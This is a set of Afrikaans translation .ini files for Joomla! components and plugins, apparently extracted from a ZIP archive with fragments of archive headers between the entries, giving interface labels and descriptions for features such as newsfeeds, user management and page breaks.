http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_EDITORS-XTD_READMORE="Knoppie - Lees Meer" PLG_READMORE_XML_DESCRIPTION="Ontsper 'n knoppie waardeur jy 'n Lees verder...-skakel in 'n Artikel kan invoeg." PK@y>\DFdd4language/af-ZA/af-ZA.plg_user_contactcreator.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.plg_user_contactcreator.sys.ini 1788 2012-07-31 22:18:21Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_USER_CONTACTCREATOR="Gebruiker - Kontak Skepper" PLG_CONTACTCREATOR_XML_DESCRIPTION="Inprop-program om outomaties kontak-inligting vir nuwe gebruikers te skep" PK@y>\uTT'language/af-ZA/af-ZA.mod_status.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.mod_status.sys.ini 1691 2012-01-11 23:40:15Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word MOD_STATUS="Gebruiker status" MOD_STATUS_LAYOUT_DEFAULT="Verstek" MOD_STATUS_XML_DESCRIPTION="Hierdie module vertoon die status van die ingetekende gebruikers." PK@y>\h%]]&language/af-ZA/af-ZA.com_users.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.com_users.sys.ini 1691 2012-01-11 23:40:15Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word COM_USERS="Gebruikers Bestuurder" COM_USER_REGISTRATION_VIEW_DEFAULT_OPTION="Verstek" COM_USER_RESET_VIEW_DEFAULT_OPTION="Verstek" COM_USER_RESET_VIEW_DEFAULT_TITLE="Wagwoord Herstel" COM_USER_LOGIN_VIEW_DEFAULT_TITLE="Inteken Vorm" COM_USER_LOGIN_VIEW_DEFAULT_DESC="Vertoon 'n Inteken Vorm" COM_USER_REMIND_VIEW_DEFAULT_OPTION="Verstek" COM_USER_LOGIN_VIEW_DEFAULT_OPTION="Inteken Vorm" COM_USER_REGISTRATION_VIEW_DEFAULT_TITLE="Registrasie Vorm" COM_USER_PROFILE_VIEW_DEFAULT_TITLE="Gebruiker Profiel" COM_USER_PROFILE_VIEW_DEFAULT_OPTION="Gebruiker Profiel" COM_USER_PROFILE_EDIT_DEFAULT_TITLE="Redigeer Gebruiker Profiel" COM_USER_REGISTRATION_VIEW_DEFAULT_DESC="Vertoon 'n Registrasie Vorm" COM_USERS_XML_DESCRIPTION="Komponent vir die bestuur van gebruikers" COM_USER_PROFILE_EDIT_DEFAULT_DESC="Redigeer 'n Gebruiker Profiel" COM_USER_PROFILE_EDIT_DEFAULT_OPTION="Redigeer Gebruiker Profiel" COM_USER_PROFILE_VIEW_DEFAULT_DESC="Vertoon 'n Gebruiker Profiel" COM_USER_REMIND_VIEW_DEFAULT_DESC="Vertoon 'n Gebruikernaam Herinnerings Versoek" COM_USER_REMIND_VIEW_DEFAULT_TITLE="Gebruikernaam Herinnerings Versoek" COM_USER_RESET_VIEW_DEFAULT_DESC="Vertoon 'n versoek om Wagwoord te herstel" PK@y>\m<0language/af-ZA/af-ZA.plg_system_languagecode.ininuW+A; af-ZA Language Translation for Joomla! ; $Id: af-ZA.plg_system_languagecode.ini 1702 2012-01-30 08:13:33Z gerrit_hoekstra $ ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SYSTEM_LANGUAGECODE="Stelsel - Taalkode" PLG_SYSTEM_LANGUAGECODE_FIELDSET_LABEL="Taalkodes" PLG_SYSTEM_LANGUAGECODE_FIELD_DESC="Wysig die taalkode wat gebruik word vir die %s taal" PLG_SYSTEM_LANGUAGECODE_FIELDSET_DESC="Wysig die taalkode wat gebruik word vir die genereerde HTML dokument. Voorbeeld: Die fr-FR taalpaket is geinstalleer en die Soektog-enjins moet die bladsy as Fraans-Kanadees beskou. Dus: Voeg die etiket 'fr-CA' by die ooreenstemmende veld vir 'fr-FR' om dit so te skik." PLG_SYSTEM_LANGUAGECODE_XML_DESCRIPTION="Bemoontlik dit om die taalkode te wysig in die genereerde HTML dokument om SEO te verbeter" PK@y>\h,language/af-ZA/af-ZA.plg_search_contacts.ininuW+A; Afrikaanse Vertaling http://joomlacode.org/gf/project/afrikaans_taal ; $Id: af-ZA.plg_search_contacts.ini 1691 2012-01-11 23:40:15Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_SEARCH_CONTACTS="Soektog - Kontakte" PLG_SEARCH_CONTACTS_CONTACTS="Kontakte" PLG_SEARCH_CONTACTS_FIELD_SEARCHLIMIT_LABEL="Soek-Limiet" PLG_SEARCH_CONTACTS_CONTACTS="Kontakte" PLG_SEARCH_CONTACTS_FIELD_SEARCHLIMIT_DESC="Aantal soektogresultaat items om te vertoon" PLG_SEARCH_CONTACTS_XML_DESCRIPTION="Laat die deursoek toe van die Kontak Komponent" PK@y>\=0language/af-ZA/af-ZA.plg_user_contactcreator.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.plg_user_contactcreator.ini 1788 2012-07-31 22:18:21Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_CONTACTCREATOR_FIELD_AUTOPUBLISH_LABEL="Outopubliseer die kontak" PLG_USER_CONTACTCREATOR="Gebruiker - Kontak skepper" PLG_CONTACTCREATOR_ERR_FAILED_UPDATE="Gefaal met die opdateering van kontak: %s" PLG_CONTACTCREATOR_XML_DESCRIPTION="Inprop-program om outomaties kontak-inligting vir nuwe gebruikers te skep" PLG_CONTACTCREATOR_FIELD_CATEGORY_DESC="Kategorie waarna nuwe kontakte per verstek toegewys word" PLG_CONTACTCREATOR_FIELD_AUTOMATIC_WEBPAGE_LABEL="Outomatiese Webbladsy" PLG_CONTACTCREATOR_FIELD_AUTOPUBLISH_DESC="As 'n opsie, kan die kontak per verstek óf gepubliseer óf nie gepubliseer, wees" PLG_CONTACTCREATOR_ERR_NO_CATEGORY="Outomatiese kontak-genereer het gefaal omdat die kontak-kategorie nie gestel is nie!" PLG_CONTACTCREATOR_FIELD_AUTOMATIC_WEBPAGE_DESC="'n Vormateerde string om outomaties 'n kontak se webbladsy mee te genereer. [name] word vervang met die kontak se naam, [username] word vervang met die gebruikernaam, [userid] word vervang met die gebruiker ID en [email] word vervang met die kontak se e-pos adres." PK@y>\W)oo6language/af-ZA/af-ZA.plg_system_languagefilter.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.plg_system_languagefilter.sys.ini 1698 2012-01-22 21:50:53Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_SYSTEM_LANGUAGEFILTER="Stelsel - Taal Filter" PLG_SYSTEM_LANGUAGEFILTER_XML_DESCRIPTION="Hierdie inprop-program filtreer die vertoonde inhoud, afhangende van die taal." PK@y>\&language/af-ZA/af-ZA.com_media.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.com_media.sys.ini 1691 2012-01-11 23:40:15Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word COM_MEDIA="Media Bestuurder" COM_MEDIA_XML_DESCRIPTION="Komponent vir die bestuur van werf media" PK@y>\w221language/af-ZA/af-ZA.plg_search_newsfeeds.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.plg_search_newsfeeds.sys.ini 1691 2012-01-11 23:40:15Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_SEARCH_NEWSFEEDS="Soektog - Nuusafvoere" PLG_SEARCH_NEWSFEEDS_XML_DESCRIPTION="Ontsper deursoek van Nuusafvoere" PK@y>\># .language/af-ZA/af-ZA.plg_content_pagebreak.ininuW+A; Afrikaanse Vertaling http://joomlacode.org/gf/project/afrikaans_taal ; $Id: af-ZA.plg_content_pagebreak.ini 1710 2012-02-05 14:38:57Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_CONTENT_PAGEBREAK_ALL_PAGES="Alle Bladsye" PLG_CONTENT_PAGEBREAK_SHOW_ALL_LABEL="Vertoon Almal" PLG_CONTENT_PAGEBREAK="Inhoud - Bladsybreuk" PLG_CONTENT_PAGEBREAK_PAGE_NUM="Bladsy %s" PLG_CONTENT_PAGEBREAK_TOC_LABEL="Inhoudstabel" PLG_CONTENT_PAGEBREAK_NO_TITLE="Geen titel nie" PLG_CONTENT_PAGEBREAK_SITE_TITLE_LABEL="Vertoon WebWerf Titel" PLG_CONTENT_PAGEBREAK_ARTICLE_INDEX="Artikel Inhoud" PLG_CONTENT_PAGEBREAK_SHOW_ALL_DESC="Vertoon die volle artikel." PLG_CONTENT_PAGEBREAK_SITE_TITLE_DESC="Titel en opskrif eienskappe van Inprop-program is by Werf Titel merker bygevoeg" PLG_CONTENT_PAGEBREAK_STYLE_LABEL="Presenteerings Styl" PLG_CONTENT_PAGEBREAK_SITE_ARTICLEINDEXTEXT_DESC="Tik in 'n pasgemaak teks vir die Artikel Index Opskrif. Indien leeg, sal die standaard ene gebruik word." PLG_CONTENT_PAGEBREAK_SLIDERS="Glyers" PLG_CONTENT_PAGEBREAK_PAGES="Bladsye" PLG_CONTENT_PAGEBREAK_SITE_ARTICLEINDEX_DESC="Vertoon/Versteek Artikel-Indeks se opskrif. Die Opskrif word bo-aan die Inhoudstabel vertoon." PLG_CONTENT_PAGEBREAK_SITE_ARTICLEINDEX_LABEL="Artikel-Indeks Opskrif" PLG_CONTENT_PAGEBREAK_SITE_ARTICLEINDEXTEXT="Pasgemmakte Artikel-Indeks se opskrif" PLG_CONTENT_PAGEBREAK_TOC_DESC="Vertoon 'n inhoudstabel op multibladsy-Artikels." PLG_CONTENT_PAGEBREAK_TABS="Oortjies" PLG_CONTENT_PAGEBREAK_STYLE_DESC="Kies of jy die artikel met aparte bladsye, oortjies of glyers wil uitlê." PLG_CONTENT_PAGEBREAK_XML_DESCRIPTION="Hiermee kan jy 'n multibladsy artikel pagineer, met 'n optionele inhoudstabel.

              Voeg gewoonweg bladsybreuke in d.m.v. die Bladsybreuk-knoppie onderaan die artikel se teks-paneel. Die plasing van die bladsybreuk in die artikel sal as 'n horisontale lyn in die redigeerder vertoon word.

              Die teks wat vertoon sal word hang af van die gekose opsies en kan óf titel óf alternatiewe teks (indien verskaf) óf die bladsynommer wees.

              Die HTML-kode is:
              <hr class="_QQ_"system-pagebreak"_QQ_" />
              <hr class="_QQ_"system-pagebreak"_QQ_" title="_QQ_"Die bladsy titel"_QQ_"/> of
              <hr class="_QQ_"system-pagebreak"_QQ_" alt="_QQ_"Die eerste bladsy"_QQ_" /> of
              <hr class="_QQ_"system-pagebreak"_QQ_" title="_QQ_"Die bladsy titel"_QQ_" alt="_QQ_"Die eerste bladsy"_QQ_" /> of
              <hr class="_QQ_"system-pagebreak"_QQ_" alt="_QQ_"Die eerste bladsy"_QQ_" title="_QQ_"Die bladsy titek"_QQ_" />" PK@y>\n-)language/af-ZA/af-ZA.com_redirect.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.com_redirect.sys.ini 1691 2012-01-11 23:40:15Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word COM_REDIRECT="Herlei" COM_REDIRECT_XML_DESCRIPTION="Hierdie komponent implementeer web-skakel herleiding" PK@y>\M55%language/af-ZA/af-ZA.mod_feed.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.mod_feed.sys.ini 1691 2012-01-11 23:40:15Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word MOD_FEED="Afvoer vertoon" MOD_FEED_LAYOUT_DEFAULT="Verstek" MOD_FEED_XML_DESCRIPTION="Hierdie module vertoon 'n sindikeerde afvoer" PK@y>\^ /language/af-ZA/af-ZA.plg_content_finder.sys.ininuW+A; af-ZA Language Translation for Joomla! ; $Id: af-ZA.plg_content_finder.sys.ini 1703 2012-02-03 11:27:44Z gerrit_hoekstra $ ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CONTENT_FINDER_XML_DESCRIPTION="Ontsper Indekseering vir Slim Soektog" PLG_CONTENT_FINDER="Inhoud - Slim Soektog" PK@y>\͵[  &language/af-ZA/af-ZA.com_menus.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.com_menus.sys.ini 1691 2012-01-11 23:40:15Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word COM_MENUS="Menus Bestuurder" COM_MENUS_XML_DESCRIPTION="Komponent vir die skep van menus" PK@y>\0 2language/af-ZA/af-ZA.plg_captcha_recaptcha.sys.ininuW+A; af-ZA Language Translation for Joomla! ; $Id: af-ZA.plg_captcha_recaptcha.sys.ini 1706 2012-02-04 22:30:37Z gerrit_hoekstra $ ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CAPTCHA_RECAPTCHA="Captcha - ReCaptcha" PLG_CAPTCHA_RECAPTCHA_XML_DESCRIPTION="Hierdie CAPTCHA inprop-program gebruik die reCAPTCH diens wat spammers verhoed, terwyl dit help met digitiseering van boeks, koerante en ou radiouitsendings. Om 'n publiele en private sleutel vir jou domain te kry, gaan na http://google.com/recaptcha. Vir nuwe rekening registrasie, go na Opsies in die Gebruiker Bestuurder en Kies Captcha – reCaptcha as die Captcha." PK@y>\RN[Wdd0language/af-ZA/af-ZA.plg_finder_weblinks.sys.ininuW+A; af-ZA Language Translation for Joomla! ; $Id: af-ZA.plg_finder_weblinks.sys.ini 1710 2012-02-05 14:38:57Z gerrit_hoekstra $ ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_FINDER_WEBLINKS="Slim Soek - Webskakels" PLG_FINDER_WEBLINKS_ERROR_ACTIVATING_PLUGIN="Kon nie outomaties die "_QQ_"Slim Soektog - Webskakels"_QQ_" inprop-program aktiveer nie." PLG_FINDER_WEBLINKS_XML_DESCRIPTION="Hierdie inprop-program indekseer Joomla! Webskakels." PK@y>\x2G!!'language/af-ZA/af-ZA.plg_system_sef.ininuW+A; Afrikaanse Vertaling http://joomlacode.org/gf/project/afrikaans_taal ; $Id: af-ZA.plg_system_sef.ini 1698 2012-01-22 21:50:53Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_SYSTEM_SEF="Stelsel - SEF" PLG_SEF_XML_DESCRIPTION="Voeg SEF-ondersteuning by vir skakels in die dokument. Dit werk direk op die HTML en benodig nie 'n spesiale etiket nie." PK@y>\aWll1language/af-ZA/af-ZA.plg_finder_newsfeeds.sys.ininuW+A; af-ZA Language Translation for Joomla! ; $Id: af-ZA.plg_finder_newsfeeds.sys.ini 1710 2012-02-05 14:38:57Z gerrit_hoekstra $ ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_FINDER_NEWSFEEDS="Slim Soek - Nuusafvoere" PLG_FINDER_NEWSFEEDS_ERROR_ACTIVATING_PLUGIN="Kon nie outomaties die "_QQ_"Slim Soektog - Nuwesafvoere_"QQ_" inprop-program aktiveer nie." PLG_FINDER_NEWSFEEDS_XML_DESCRIPTION="Hierdie inprop-program indekseer Joomla! Nuusafvoere." PK@y>\ٓ;^^0language/af-ZA/af-ZA.plg_finder_contacts.sys.ininuW+A; af-ZA Language Translation for Joomla! ; $Id: af-ZA.plg_finder_contacts.sys.ini 1710 2012-02-05 14:38:57Z gerrit_hoekstra $ ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_FINDER_CONTACTS="Slim Soek - Kontakte" PLG_FINDER_CONTACTS_XML_DESCRIPTION="Hierdie inprop-program indekseer Joomla! Kontakte." PLG_FINDER_CONTACTS_ERROR_ACTIVATING_PLUGIN="Kon nie outomaties die "_QQ_"Slim Soektog - Kontakte"_QQ_" inprop-program aktiveer nie." PK@y>\~Z*language/af-ZA/af-ZA.com_newsfeeds.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.com_newsfeeds.sys.ini 1691 2012-01-11 23:40:15Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word COM_NEWSFEEDS="Nuusafvoere" COM_NEWSFEEDS_FEEDS="Afvoere" COM_NEWSFEEDS_CATEGORY_VIEW_DEFAULT_OPTION="Verstek" COM_NEWSFEEDS_NEWSFEED_VIEW_DEFAULT_OPTION="Verstek" COM_NEWSFEEDS_CATEGORIES_VIEW_DEFAULT_OPTION="Verstek" COM_NEWSFEEDS_CATEGORIES="Kategorië" COM_NEWSFEEDS_CATEGORIES="Kategorië" COM_NEWSFEEDS_NEWSFEED_VIEW_DEFAULT_TITLE="Enkele Nuus Afvoer" COM_NEWSFEEDS_CATEGORY_ADD_TITLE="Kategorie Bestuurder: Voeg 'n Nuwe Afvoer Kategorie" COM_NEWSFEEDS_CATEGORY_EDIT_TITLE="Kategorie Bestuurder: Redigeer 'n Nuwe Afvoer Kategorie" COM_NEWSFEEDS_NEWSFEED_VIEW_DEFAULT_DESC="Vertoon 'n enkele nuusafoer." COM_NEWSFEEDS_CATEGORIES_VIEW_DEFAULT_TITLE="Lys Alle Nuwe Afvoer Kategorië" COM_NEWSFEEDS_CATEGORY_VIEW_DEFAULT_DESC="Vertoon alle nuusafvoere binne-in 'n kategorie." COM_NEWSFEEDS_CATEGORY_VIEW_DEFAULT_TITLE="Lys Nuusafvoere in 'n Kategorie" COM_NEWSFEEDS_XML_DESCRIPTION="Hierdie komponent bestuur RSS en Atom nuusafvoere" COM_NEWSFEEDS_CATEGORIES_VIEW_DEFAULT_DESC="Vertoon al die nuusafvoer-kategorië binne-in 'n kategorie." PK@y>\x2language/af-ZA/af-ZA.plg_editors-xtd_pagebreak.ininuW+A; Afrikaanse Vertaling http://joomlacode.org/gf/project/afrikaans_taal ; $Id: af-ZA.plg_editors-xtd_pagebreak.ini 1703 2012-02-03 11:27:44Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_EDITORS-XTD_PAGEBREAK="Knoppie - Bladsybreuk" PLG_EDITORSXTD_PAGEBREAK_BUTTON_PAGEBREAK="Bladsybreuk" PLG_EDITORSXTD_PAGEBREAK_XML_DESCRIPTION="Hierdie verskaf 'n knoppie waarmee 'n bladsybreuk in 'n artikel gevoeg kan word. Verdere konfigurasies kan in 'n opspringvenster gestel word." PK@y>\5׬77(language/af-ZA/af-ZA.com_wrapper.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.com_wrapper.sys.ini 1691 2012-01-11 23:40:15Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word COM_WRAPPER="Omhulsel" COM_WRAPPER_WRAPPER_VIEW_DEFAULT_OPTION="Verstek" COM_WRAPPER_WRAPPER_VIEW_DEFAULT_DESC="Vertoon 'n URL in 'n Iframe" COM_WRAPPER_WRAPPER_VIEW_DEFAULT_TITLE="Iframe Omhulsel" COM_WRAPPER_WRAPPER_VIEW_DEFAULT_DESC="Vertoon 'n url in 'n Iframe" COM_WRAPPER_XML_DESCRIPTION="Vertoon 'n IFrame wat as 'n omhulsel dien om 'n eksterne webblad of webwerf t.o.v. Joomla!" PK@y>\Ub#language/af-ZA/af-ZA.mod_custom.ininuW+A; Afrikaanse Vertaling http://joomlacode.org/gf/project/afrikaans_taal ; $Id: af-ZA.mod_custom.ini 1710 2012-02-05 14:38:57Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word MOD_CUSTOM="mod_custom" MOD_CUSTOM_XML_DESCRIPTION="Hierdie Module laat jou toe on jou eie HTML Module m.b.v. 'n WYSIWYG redigeerder te maak." MOD_CUSTOM_FIELD_PREPARE_CONTENT_LABEL="Inhoud Voorberei" MOD_CUSTOM_FIELD_PREPARE_CONTENT_DESC="Berei die inhoud optioneel voor met die Joomla! Inhoud ('Content') Inprop-programme." PK@y>\OMr &language/af-ZA/af-ZA.com_newsfeeds.ininuW+A; Afrikaanse Vertaling http://joomlacode.org/gf/project/afrikaans_taal ; $Id: af-ZA.com_newsfeeds.ini 1701 2012-01-28 22:09:20Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word COM_NEWSFEEDS_FIELD_NUM_ARTICLES_LABEL="Aantal Artikels" COM_NEWSFEEDS_FIELD_RTL_LABEL="Taal Rigting" COM_NEWSFEEDS_SEARCH_IN_TITLE="Soektog" COM_NEWSFEEDS_SAVE_SUCCESS="Nuus afvoer suksesvol gestoor" COM_NEWSFEEDS_FIELD_NUM_ARTICLES_COLUMN_LABEL="# Artikels" COM_NEWSFEEDS="Nuusafvoere" COM_NEWSFEEDS_FIELD_FEED_OPTIONS_LABEL="Afvoere vertoon opsies" COM_NEWSFEEDS_FIELDSET_MORE_OPTIONS_LABEL="Afvoer Vertoon Opsies" COM_NEWSFEEDS_N_ITEMS_DELETED="%d Nuus afvoere suksesvol geskrap" COM_NEWSFEEDS_N_ITEMS_TRASHED_1="Nuus afvoer suksesvol gepurgeer" COM_NEWSFEEDS_FIELD_LINK_LABEL="Skakel" COM_NEWSFEEDS_CHANGE_FEED_BUTTON="Kies afvoer" COM_NEWSFEEDS_FIELD_SELECT_FEED_LABEL="Afvoer" COM_NEWSFEEDS_SUBMENU_CATEGORIES="Kategorië" COM_NEWSFEEDS_UNPUBLISH_ITEM="Ontpubliseer Nuus Afvoer" COM_NEWSFEEDS_CACHE_TIME_HEADING="Kas Tyd" COM_NEWSFEEDS_SUBMENU_NEWSFEEDS="Nuusafvoere" COM_NEWSFEEDS_FIELD_CACHETIME_LABEL="Kas Tyd" COM_NEWSFEEDS_PUBLISH_ITEM="Publiseer Nuus Afvoer" COM_NEWSFEEDS_NUM_ARTICLES_HEADING="Afvoer Aantal" COM_NEWSFEEDS_FIELD_SHOW_FEED_IMAGE_LABEL="Afvoer Beeld" COM_NEWSFEEDS_MANAGER_NEWSFEEDS="Nuus Afvoer Bestuurder" COM_NEWSFEEDS_PUBLISH_ITEM="Publiseer Nuus Afvoer" COM_NEWSFEEDS_NUM_ARTICLES_HEADING="Afvoer Aantal" COM_NEWSFEEDS_FIELD_NUMFEEDS_LABEL="Aantal afvoere" COM_NEWSFEEDS_FIELD_RTL_DESC="Kies die taal rigting van die afvoer" COM_NEWSFEEDS_N_ITEMS_ARCHIVED="%d Nuus afvoere suksesvol geargiveer" COM_NEWSFEEDS_N_ITEMS_PUBLISHED_1="Nuus afvoer suksesvol gepubliseer" COM_NEWSFEEDS_SUBMENU_NEWSFEEDS="Nuusafvoere" COM_NEWSFEEDS_CONFIGURATION="Nuus Afvoer Bestuurder Opsies" COM_NEWSFEEDS_FIELD_OPTIONS="Afvoer Opsies" COM_NEWSFEEDS_CACHE_TIME_HEADING="Kas Tyd" COM_NEWSFEEDS_FIELD_SHOW_ITEM_DESCRIPTION_LABEL="Afvoer Inhoud" COM_NEWSFEEDS_N_ITEMS_DELETED_1="Nuus afvoer suksesvol geskrap" COM_NEWSFEEDS_FIELD_NUMFEEDS_DESC="Aantal afvoere om te vertoon" COM_NEWSFEEDS_FIELD_SHOW_LINKS_LABEL="Afvoer Skakels" COM_NEWSFEEDS_NO_ITEM_SELECTED="Geen nuus afvoere gekies nie" COM_NEWSFEEDS_N_ITEMS_UNPUBLISHED_1="Nuus afvoer suksesvol ontpubliseer" COM_NEWSFEEDS_N_ITEMS_CHECKED_IN_MORE="%d nuus afvoere suksesvol ingeteken" COM_NEWSFEEDS_FIELD_LINK_DESC="Skakel na die nuus afvoer" COM_NEWSFEEDS_FIELD_VALUE_SITE="Webwerf Taal Rigting" COM_NEWSFEEDS_FIELD_CHARACTER_COUNT_LABEL="Karakter teliing" COM_NEWSFEEDS_FIELD_SHOW_FEED_IMAGE_DESC="Vertoon of Versteek afvoer beelde" COM_NEWSFEEDS_FIELD_CHARACTERS_COUNT_LABEL="Karakter Aantal" COM_NEWSFEEDS_FIELD_CONFIG_NEWSFEED_SETTINGS_LABEL="Nuus Afvoer" COM_NEWSFEEDS_FIELD_FEED_OPTIONS_DESC="Afvoer vertoon-opsies" COM_NEWSFEEDS_WARNING_PROVIDE_VALID_NAME="Verskaf asseblief 'n geldige naam" 